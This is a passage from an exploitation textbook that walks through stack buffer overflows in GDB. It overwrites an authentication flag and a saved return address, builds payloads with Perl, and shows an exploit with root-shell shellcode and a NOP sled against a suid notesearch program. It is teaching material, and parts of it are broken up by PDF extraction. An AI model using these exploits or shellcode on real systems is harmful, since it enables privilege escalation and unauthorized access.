You may have already figured out what happened, but let’s look at this with a debugger to see the specifics of it. reader@hacking:~/booksrc $ gdb -q ./auth_overflow Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 1 #include 2 #include 3 #include 4 5 int check_authentication(char *password) { 6 int auth_flag = 0; 7 char password_buffer[16]; 8 9 strcpy(password_buffer, password); 10 (gdb)
Ex pl oit a ti on

123

11 if(strcmp(password_buffer, "brillig") == 0) 12 auth_flag = 1; 13 if(strcmp(password_buffer, "outgrabe") == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) break 9 Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9. (gdb) break 16 Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16. (gdb)

The GDB debugger is started with the -q option to suppress the welcome banner, and breakpoints are set on lines 9 and 16. When the program is run, execution will pause at these breakpoints and give us a chance to examine memory.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, check_authentication (password=0xbffff9af 'A' ) at auth_overflow.c:9 9 strcpy(password_buffer, password); (gdb) x/s password_buffer 0xbffff7a0: ")????o??????)\205\004\b?o??p???????" (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) print 0xbffff7bc - 0xbffff7a0 $1 = 28 (gdb) x/16xw password_buffer 0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529 0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000 0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb 0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc (gdb)

The first breakpoint is before the strcpy() happens. By examining the password_buffer pointer, the debugger shows it is filled with random uninitialized data and is located at 0xbffff7a0 in memory. By examining the address of the auth_flag variable, we can see both its location at 0xbffff7bc and its value of 0. The print command can be used to do arithmetic and shows that auth_flag is 28 bytes past the start of password_buffer. This relationship can also be seen in a block of memory starting at password_buffer. The location of auth_flag is shown in bold.

124

0x 300

(gdb) continue Continuing. Breakpoint 2, check_authentication (password=0xbffff9af 'A' ) at auth_overflow.c:16 16 return auth_flag; (gdb) x/s password_buffer 0xbffff7a0: 'A' (gdb) x/x &auth_flag 0xbffff7bc: 0x00004141 (gdb) x/16xw password_buffer 0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141 0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb 0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc (gdb) x/4cb &auth_flag 0xbffff7bc: 65 'A' 65 'A' 0 '\0' 0 '\0' (gdb) x/dw &auth_flag 0xbffff7bc: 16705 (gdb)

Continuing to the next breakpoint found after the strcpy(), these memory locations are examined again. The password_buffer overflowed into the auth_flag, changing its first two bytes to 0x41. The value of 0x00004141 might look backward again, but remember that x86 has little-endian architecture, so it’s supposed to look that way. If you examine each of these four bytes individually, you can see how the memory is actually laid out. Ultimately, the program will treat this value as an integer, with a value of 16705.
(gdb) continue Continuing. -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=Program exited with code 034. (gdb)

After the overflow, the check_authentication() function will return 16705 instead of 0. Since the if statement considers any nonzero value to be authenticated, the program’s execution flow is controlled into the authenticated section. In this example, the auth_flag variable is the execution control point, since overwriting this value is the source of the control. But this is a very contrived example that depends on memory layout of the variables. In auth_overflow2.c, the variables are declared in reverse order. (Changes to auth_overflow.c are shown in bold.)

Ex pl oit a ti on

125

auth_overflow2.c
#include #include #include int check_authentication(char *password) { char password_buffer[16]; int auth_flag = 0; strcpy(password_buffer, password); if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } if(check_authentication(argv[1])) { printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); printf(" Access Granted.\n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); } else { printf("\nAccess Denied.\n"); } }

This simple change puts the auth_flag variable before the password_buffer in memory. This eliminates the use of the return_value variable as an execution control point, since it can no longer be corrupted by an overflow. reader@hacking:~/booksrc $ gcc -g auth_overflow2.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 1 #include 2 #include 3 #include 4 5 int check_authentication(char *password) { 6 char password_buffer[16]; 7 int auth_flag = 0; 8 9 strcpy(password_buffer, password); 10 (gdb)

126

0x 300

11 if(strcmp(password_buffer, "brillig") == 0) 12 auth_flag = 1; 13 if(strcmp(password_buffer, "outgrabe") == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) break 9 Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9. (gdb) break 16 Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16. (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, check_authentication (password=0xbffff9b7 'A' ) at auth_overflow2.c:9 9 strcpy(password_buffer, password); (gdb) x/s password_buffer 0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\ bH???????\002" (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) x/16xw &auth_flag 0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8 0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848 0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880 (gdb)

Similar breakpoints are set, and an examination of memory shows that auth_flag (shown in bold above and below) is located before password_buffer in memory. This means auth_flag can never be overwritten by an overflow in password_buffer. (gdb) cont Continuing. Breakpoint 2, check_authentication (password=0xbffff9b7 'A' ) at auth_overflow2.c:16 16 return auth_flag; (gdb) x/s password_buffer 0xbffff7c0: 'A' (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) x/16xw &auth_flag 0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141 0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848 0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880 (gdb)

Ex pl oit a ti on

127

As expected, the overflow cannot disturb the auth_flag variable, since it’s located before the buffer. But another execution control point does exist, even though you can’t see it in the C code. It’s conveniently located after all the stack variables, so it can easily be overwritten. This memory is integral to the operation of all programs, so it exists in all programs, and when it’s overwritten, it usually results in a program crash.
(gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x08004141 in ?? () (gdb)

Recall from the previous chapter that the stack is one of five memory segments used by programs. The stack is a FILO data structure used to maintain execution flow and context for local variables during function calls. When a function is called, a structure called a stack frame is pushed onto the stack, and the EIP register jumps to the first instruction of the function. Each stack return_value variable frame contains the local variables for that function and a return address so EIP can be restored. When the function is done, the stack password_buffer variable frame is popped off the stack and the return address is used to restore EIP. All of this is built in to the architecture and is usually handled by Saved frame pointer (SFP) the compiler, not the programmer. Return address (ret) When the check_authentication() function is called, a new stack frame is pushed onto the *password (func argument) stack above main()’s stack frame. In this frame main()’s stack frame are the local variables, a return address, and the function’s arguments. We can see all these elements in the debugger. reader@hacking:~/booksrc $ gcc -g auth_overflow2.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 1 #include 2 #include 3 #include 4 5 int check_authentication(char *password) { 6 char password_buffer[16]; 7 int auth_flag = 0; 8 9 strcpy(password_buffer, password); 10 (gdb) 11 if(strcmp(password_buffer, "brillig") == 0)

128

0x 300

12 auth_flag = 1; 13 if(strcmp(password_buffer, "outgrabe") == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) 21 printf("Usage: %s \n", argv[0]); 22 exit(0); 23 } 24 if(check_authentication(argv[1])) { 25 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 26 printf(" Access Granted.\n"); 27 printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 28 } else { 29 printf("\nAccess Denied.\n"); 30 } (gdb) break 24 Breakpoint 1 at 0x80484ab: file auth_overflow2.c, line 24. (gdb) break 9 Breakpoint 2 at 0x8048421: file auth_overflow2.c, line 9. (gdb) break 16 Breakpoint 3 at 0x804846f: file auth_overflow2.c, line 16. (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, main (argc=2, argv=0xbffff874) at auth_overflow2.c:24 24 if(check_authentication(argv[1])) { (gdb) i r esp esp 0xbffff7e0 0xbffff7e0 (gdb) x/32xw $esp 0xbffff7e0: 0xb8000ce0 0x08048510 0xbffff848 0xb7eafebc 0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848 0xbffff820: 0x40f5f7f0 0x48e0fe81 0x00000000 0x00000000 0xbffff830: 0x00000000 0xb7ff9300 0xb7eafded 0xb8000ff4 0xbffff840: 0x00000002 0x08048350 0x00000000 0x08048371 0xbffff850: 0x08048474 0x00000002 0xbffff874 0x08048510 (gdb)

The first breakpoint is right before the call to check_authentication() in main(). At this point, the stack pointer register (ESP) is 0xbffff7e0, and the top of the stack is shown. This is all part of main()’s stack frame. Continuing to the next breakpoint inside check_authentication(), the output below shows ESP is smaller as it moves up the list of memory to make room for check_authentication()’s stack frame (shown in bold), which is now on the stack. After finding the addresses of the auth_flag variable ( ) and the variable password_buffer ( ), their locations can be seen within the stack frame.

Ex pl oit a ti on

129

(gdb) c Continuing. Breakpoint 2, check_authentication (password=0xbffff9b7 'A' ) at auth_overflow2.c:9 9 strcpy(password_buffer, password); (gdb) i r esp esp 0xbffff7a0 0xbffff7a0 (gdb) x/32xw $esp 0xbffff7a0: 0x00000000 0x08049744 0xbffff7b8 0x080482d9 0x00000000 0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xb7fd6ff4 0xbffff7c0: 0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff7e8 0x080484bb 0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc 0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848 (gdb) p 0xbffff7e0 - 0xbffff7a0 $1 = 64 (gdb) x/s password_buffer 0xbffff7c0: "?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\ bH???????\002" (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb)

Continuing to the second breakpoint in check_authentication(), a stack frame (shown in bold) is pushed onto the stack when the function is called. Since the stack grows upward toward lower memory addresses, the stack pointer is now 64 bytes less at 0xbffff7a0. The size and structure of a stack frame can vary greatly, depending on the function and certain compiler optimizations. For example, the first 24 bytes of this stack frame are just padding put there by the compiler. The local stack variables, auth_flag and password_buffer, are shown at their respective memory locations in the stack frame. The auth_flag ( ) is shown at 0xbffff7bc, and the 16 bytes of the password buffer ( ) are shown at 0xbffff7c0. The stack frame contains more than just the local variables and padding. Elements of the check_authentication() stack frame are shown below. First, the memory saved for the local variables is shown in italic. This starts at the auth_flag variable at 0xbffff7bc and continues through the end of the 16-byte password_buffer variable. The next few values on the stack are just padding the compiler threw in, plus something called the saved frame pointer. If the program is compiled with the flag -fomit-frame-pointer for optimization, the frame pointer won’t be used in the stack frame. At the value 0x080484bb is the return address of the stack frame, and at the address 0xbffffe9b7 is a pointer to a string containing 30 As. This must be the argument to the check_authentication() function.
(gdb) x/32xw $esp 0xbffff7a0: 0x00000000 0xbffff7b0: 0xb7f9f729 0xbffff7c0: 0xb7fd6ff4 0x08049744 0xb7fd6ff4 0xbffff880 0xbffff7b8 0xbffff7e8 0xbffff7e8 0x080482d9 0x00000000 0xb7fd6ff4

130

0x 300

0xbffff7d0: 0xb7ff47b0 0x08048510 0xbffff9b7 0x08048510 0xbffff7e0: 0xbffff7f0: 0x00000002 0xbffff874 0xbffff800: 0x00000000 0x00000001 0xbffff810: 0xb7fd6ff4 0xb8000ce0 (gdb) x/32xb 0xbffff9b7 0xbffff9b7: 0x41 0x41 0x41 0x41 0xbffff9bf: 0x41 0x41 0x41 0x41 0xbffff9c7: 0x41 0x41 0x41 0x41 0xbffff9cf: 0x41 0x41 0x41 0x41 (gdb) x/s 0xbffff9b7 0xbffff9b7: 'A' (gdb)

0xbffff7e8 0xbffff848 0xbffff880 0x00000001 0x00000000 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x080484bb 0xb7eafebc 0xb8001898 0x00000000 0xbffff848 0x41 0x41 0x41 0x00 0x41 0x41 0x41 0x53

The return address in a stack frame can be located by understanding how the stack frame is created. This process begins in the main() function, even before the function call.
(gdb) disass main Dump of assembler code for function main: 0x08048474 : push ebp 0x08048475 : mov ebp,esp 0x08048477 : sub esp,0x8 0x0804847a : and esp,0xfffffff0 0x0804847d : mov eax,0x0 0x08048482 : sub esp,eax 0x08048484 : cmp DWORD PTR [ebp+8],0x1 0x08048488 : jg 0x80484ab 0x0804848a : mov eax,DWORD PTR [ebp+12] 0x0804848d : mov eax,DWORD PTR [eax] 0x0804848f : mov DWORD PTR [esp+4],eax 0x08048493 : mov DWORD PTR [esp],0x80485e5 0x0804849a : call 0x804831c 0x0804849f : mov DWORD PTR [esp],0x0 0x080484a6 : call 0x804833c 0x080484ab : mov eax,DWORD PTR [ebp+12] 0x080484ae : add eax,0x4 0x080484b1 : mov eax,DWORD PTR [eax] 0x080484b3 : mov DWORD PTR [esp],eax 0x080484b6 : call 0x8048414 0x080484bb : test eax,eax 0x080484bd : je 0x80484e5 0x080484bf : mov DWORD PTR [esp],0x80485fb 0x080484c6 : call 0x804831c 0x080484cb : mov DWORD PTR [esp],0x8048619 0x080484d2 : call 0x804831c 0x080484d7 : mov DWORD PTR [esp],0x8048630 0x080484de : call 0x804831c 0x080484e3 : jmp 0x80484f1 0x080484e5 : mov DWORD PTR [esp],0x804864d 0x080484ec : call 0x804831c 0x080484f1 : leave 0x080484f2 : ret End of assembler dump. (gdb)
Ex pl oit a ti on

131

Notice the two lines shown in bold on page 131. At this point, the EAX register contains a pointer to the first command-line argument. This is also the argument to check_authentication(). This first assembly instruction writes EAX to where ESP is pointing (the top of the stack). This starts the stack frame for check_authentication() with the function argument. The second instruction is the actual call. This instruction pushes the address of the next instruction to the stack and moves the execution pointer register (EIP) to the start of the check_authentication() function. The address pushed to the stack is the return address for the stack frame. In this case, the address of the next instruction is 0x080484bb, so that is the return address.
(gdb) disass check_authentication Dump of assembler code for function check_authentication: 0x08048414 : push ebp 0x08048415 : mov ebp,esp 0x08048417 : sub esp,0x38 ... 0x08048472 : 0x08048473 : End of assembler dump. (gdb) p 0x38 $3 = 56 (gdb) p 0x38 + 4 + 4 $4 = 64 (gdb) leave ret

Execution will continue into the check_authentication() function as EIP is changed, and the first few instructions (shown in bold above) finish saving memory for the stack frame. These instructions are known as the function prologue. The first two instructions are for the saved frame pointer, and the third instruction subtracts 0x38 from ESP. This saves 56 bytes for the local variables of the function. The return address and the saved frame pointer are already pushed to the stack and account for the additional 8 bytes of the 64-byte stack frame. When the function finishes, the leave and ret instructions remove the stack frame and set the execution pointer register (EIP) to the saved return address in the stack frame ( ). This brings the program execution back to the next instruction in main() after the function call at 0x080484bb. This process happens every time a function is called in any program.
(gdb) x/32xw $esp 0xbffff7a0: 0x00000000 0xbffff7b0: 0xb7f9f729 0xbffff7c0: 0xb7fd6ff4 0xbffff7d0: 0xb7ff47b0 0xbffff7e0: 0xbffff9b7 0xbffff7f0: 0x00000002 0xbffff800: 0x00000000 0xbffff810: 0xb7fd6ff4

0x08049744 0xb7fd6ff4 0xbffff880 0x08048510 0x08048510 0xbffff874 0x00000001 0xb8000ce0

0xbffff7b8 0xbffff7e8 0xbffff7e8 0xbffff7e8 0xbffff848 0xbffff880 0x00000001 0x00000000

0x080482d9 0x00000000 0xb7fd6ff4 0x080484bb 0xb7eafebc 0xb8001898 0x00000000 0xbffff848

132

0x 300

(gdb) cont Continuing. Breakpoint 3, check_authentication (password=0xbffff9b7 'A' ) at auth_overflow2.c:16 16 return auth_flag; (gdb) x/32xw $esp 0xbffff7a0: 0xbffff7c0 0x080485dc 0xbffff7b8 0x080482d9 0xbffff7b0: 0xb7f9f729 0xb7fd6ff4 0xbffff7e8 0x00000000 0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x41414141 0x08004141 0xbffff7d0: 0x41414141 0x41414141 0x41414141 0xbffff7e0: 0xbffff9b7 0x08048510 0xbffff848 0xb7eafebc 0xbffff7f0: 0x00000002 0xbffff874 0xbffff880 0xb8001898 0xbffff800: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff810: 0xb7fd6ff4 0xb8000ce0 0x00000000 0xbffff848 (gdb) cont Continuing. Program received signal SIGSEGV, Segmentation fault. 0x08004141 in ?? () (gdb)

When some of the bytes of the saved return address are overwritten, the program will still try to use that value to restore the execution pointer register (EIP). This usually results in a crash, since execution is essentially jumping to a random location. But this value doesn’t need to be random. If the overwrite is controlled, execution can, in turn, be controlled to jump to a specific location. But where should we tell it to go?

0x330

Experimenting with BASH
Since so much of hacking is rooted in exploitation and experimentation, the ability to quickly try different things is vital. The BASH shell and Perl are common on most machines and are all that is needed to experiment with exploitation. Perl is an interpreted programming language with a print command that happens to be particularly suited to generating long sequences of characters. Perl can be used to execute instructions on the command line by using the -e switch like this:

reader@hacking:~/booksrc $ perl -e 'print "A" x 20;' AAAAAAAAAAAAAAAAAAAA

This command tells Perl to execute the commands found between the single quotes—in this case, a single command of print "A" x 20;. This command prints the character A 20 times. Any character, such as a nonprintable character, can also be printed by using \x##, where ## is the hexadecimal value of the character. In the following example, this notation is used to print the character A, which has the hexadecimal value of 0x41.
Ex pl oit a ti on

133

reader@hacking:~/booksrc $ perl -e 'print "\x41" x 20;' AAAAAAAAAAAAAAAAAAAA

In addition, string concatenation can be done in Perl with a period (.). This can be useful when stringing multiple addresses together. reader@hacking:~/booksrc $ perl -e 'print "A"x20 . "BCD" . "\x61\x66\x67\x69"x2 . "Z";' AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ

An entire shell command can be executed like a function, returning its output in place. This is done by surrounding the command with parentheses and prefixing a dollar sign. Here are two examples: reader@hacking:~/booksrc $ $(perl -e 'print "uname";') Linux reader@hacking:~/booksrc $ una$(perl -e 'print "m";')e Linux reader@hacking:~/booksrc $

In each case, the output of the command found between the parentheses is substituted for the command, and the command uname is executed. This exact command-substitution effect can be accomplished with grave accent marks (`, the tilted single quote on the tilde key). You can use whichever syntax feels more natural for you; however, the parentheses syntax is easier to read for most people. reader@hacking:~/booksrc $ u`perl -e 'print "na";'`me Linux reader@hacking:~/booksrc $ u$(perl -e 'print "na";')me Linux reader@hacking:~/booksrc $

Command substitution and Perl can be used in combination to quickly generate overflow buffers on the fly. You can use this technique to easily test the overflow_example.c program with buffers of precise lengths. reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x30') [BEFORE] buffer_two is at 0xbffff7e0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7e8 and contains 'one' [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 30 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAAA' [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141) Segmentation fault (core dumped) reader@hacking:~/booksrc $ gdb -q (gdb) print 0xbffff7f4 - 0xbffff7e0 $1 = 20

134

0x 300

(gdb) quit reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x20 . "ABCD"') [BEFORE] buffer_two is at 0xbffff7e0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7e8 and contains 'one' [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 24 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAABCD' [AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAABCD' [AFTER] value is at 0xbffff7f4 and is 1145258561 (0x44434241) reader@hacking:~/booksrc $

In the output above, GDB is used as a hexadecimal calculator to figure out the distance between buffer_two (0xbfffff7e0) and the value variable (0xbffff7f4 ), which turns out to be 20 bytes. Using this distance, the value variable is overwritten with the exact value 0x44434241, since the characters A, B, C, and D have the hex values of 0x41, 0x42, 0x43, and 0x44, respectively. The first character is the least significant byte, due to the little-endian architecture. This means if you wanted to control the value variable with something exact, like 0xdeadbeef, you must write those bytes into memory in reverse order. reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A"x20 . "\xef\xbe\xad\xde"') [BEFORE] buffer_two is at 0xbffff7e0 and contains 'two' [BEFORE] buffer_one is at 0xbffff7e8 and contains 'one' [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 24 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAA??' [AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAA??' [AFTER] value is at 0xbffff7f4 and is -559038737 (0xdeadbeef) reader@hacking:~/booksrc $

This technique can be applied to overwrite the return address in the auth_overflow2.c program with an exact value. In the example below, we will overwrite the return address with a different address in main(). reader@hacking:~/booksrc $ gcc -g -o auth_overflow2 auth_overflow2.c reader@hacking:~/booksrc $ gdb -q ./auth_overflow2 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x08048474 : push ebp 0x08048475 : mov ebp,esp 0x08048477 : sub esp,0x8 0x0804847a : and esp,0xfffffff0 0x0804847d : mov eax,0x0 0x08048482 : sub esp,eax 0x08048484 : cmp DWORD PTR [ebp+8],0x1 0x08048488 : jg 0x80484ab 0x0804848a : mov eax,DWORD PTR [ebp+12]

Ex pl oit a ti on

135

0x0804848d : 0x0804848f : 0x08048493 : 0x0804849a : 0x0804849f : 0x080484a6 : 0x080484ab : 0x080484ae : 0x080484b1 : 0x080484b3 : 0x080484b6 : 0x080484bb : 0x080484bd : 0x080484bf : 0x080484c6 : 0x080484cb : 0x080484d2 : 0x080484d7 : 0x080484de : 0x080484e3 : 0x080484e5 : 0x080484ec : 0x080484f1 : 0x080484f2 : End of assembler dump. (gdb)

mov mov mov call mov call mov add mov mov call test je mov call mov call mov call jmp mov call leave ret

eax,DWORD DWORD PTR DWORD PTR 0x804831c DWORD PTR 0x804833c eax,DWORD eax,0x4 eax,DWORD DWORD PTR 0x8048414 eax,eax 0x80484e5 DWORD PTR 0x804831c DWORD PTR 0x804831c DWORD PTR 0x804831c 0x80484f1 DWORD PTR 0x804831c

PTR [eax] [esp+4],eax [esp],0x80485e5 [esp],0x0 PTR [ebp+12] PTR [eax] [esp],eax [esp],0x80485fb [esp],0x8048619 [esp],0x8048630 [esp],0x804864d

This section of code shown in bold contains the instructions that display the Access Granted message. The beginning of this section is at 0x080484bf, so if the return address is overwritten with this value, this block of instructions will be executed. The exact distance between the return address and the start of the password_buffer can change due to different compiler versions and different optimization flags. As long as the start of the buffer is aligned with DWORDs on the stack, this mutability can be accounted for by simply repeating the return address many times. This way, at least one of the instances will overwrite the return address, even if it has shifted around due to compiler optimizations. reader@hacking:~/booksrc $ ./auth_overflow2 $(perl -e 'print "\xbf\x84\x04\x08"x10') -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=Segmentation fault (core dumped) reader@hacking:~/booksrc $

In the example above, the target address of 0x080484bf is repeated 10 times to ensure the return address is overwritten with the new target address. When the check_authentication() function returns, execution jumps directly to the new target address instead of returning to the next instruction after the call. This gives us more control; however, we are still limited to using instructions that exist in the original programming.
136
0x 300

The notesearch program is vulnerable to a buffer overflow on the line marked in bold here. int main(int argc, char *argv[]) { int userid, printing=1, fd; // File descriptor char searchstring[100]; if(argc > 1) strcpy(searchstring, argv[1]); else searchstring[0] = 0; // If there is an arg // that is the search string; // otherwise, // search string is empty.

The notesearch exploit uses a similar technique to overflow a buffer into the return address; however, it also injects its own instructions into memory and then returns execution there. These instructions are called shellcode, and they tell the program to restore privileges and open a shell prompt. This is especially devastating for the notesearch program, since it is suid root. Since this program expects multiuser access, it runs under higher privileges so it can access its data file, but the program logic prevents the user from using these higher privileges for anything other than accessing the data file—at least that’s the intention. But when new instructions can be injected in and execution can be controlled with a buffer overflow, the program logic is meaningless. This technique allows the program to do things it was never programmed to do, while it’s still running with elevated privileges. This is the dangerous combination that allows the notesearch exploit to gain a root shell. Let’s examine the exploit further. reader@hacking:~/booksrc $ gcc -g exploit_notesearch.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 1 #include 2 #include 3 #include 4 char shellcode[]= 5 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 6 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 7 "\xe1\xcd\x80"; 8 9 int main(int argc, char *argv[]) { 10 unsigned int i, *ptr, ret, offset=270; (gdb) 11 char *command, *buffer; 12 13 command = (char *) malloc(200); 14 bzero(command, 200); // Zero out the new memory. 15 16 strcpy(command, "./notesearch \'"); // Start command buffer. 17 buffer = command + strlen(command); // Set buffer at the end. 18 19 if(argc > 1) // Set offset.
Ex pl oit a ti on

137

20 offset = atoi(argv[1]); (gdb) 21 22 ret = (unsigned int) &i - offset; // Set return address. 23 24 for(i=0; i < 160; i+=4) // Fill buffer with return address. 25 *((unsigned int *)(buffer+i)) = ret; 26 memset(buffer, 0x90, 60); // Build NOP sled. 27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 28 29 strcat(command, "\'"); 30 (gdb) break 26 Breakpoint 1 at 0x80485fa: file exploit_notesearch.c, line 26. (gdb) break 27 Breakpoint 2 at 0x8048615: file exploit_notesearch.c, line 27. (gdb) break 28 Breakpoint 3 at 0x8048633: file exploit_notesearch.c, line 28. (gdb)

The notesearch exploit generates a buffer in lines 24 through 27 (shown above in bold). The first part is a for loop that fills the buffer with a 4-byte address stored in the ret variable. The loop increments i by 4 each time. This value is added to the buffer address, and the whole thing is typecast as a unsigned integer pointer. This has a size of 4, so when the whole thing is dereferenced, the entire 4-byte value found in ret is written.
(gdb) run Starting program: /home/reader/booksrc/a.out Breakpoint 1, main (argc=1, argv=0xbffff894) at exploit_notesearch.c:26 26 memset(buffer, 0x90, 60); // build NOP sled (gdb) x/40x buffer 0x804a016: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a026: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a036: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a046: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6 (gdb) x/s command 0x804a008: "./notesearch '¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶û ÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿" (gdb)

At the first breakpoint, the buffer pointer shows the result of the for loop. You can also see the relationship between the command pointer and the buffer pointer. The next instruction is a call to memset(), which starts at the beginning of the buffer and sets 60 bytes of memory with the value 0x90.
138
0x 300

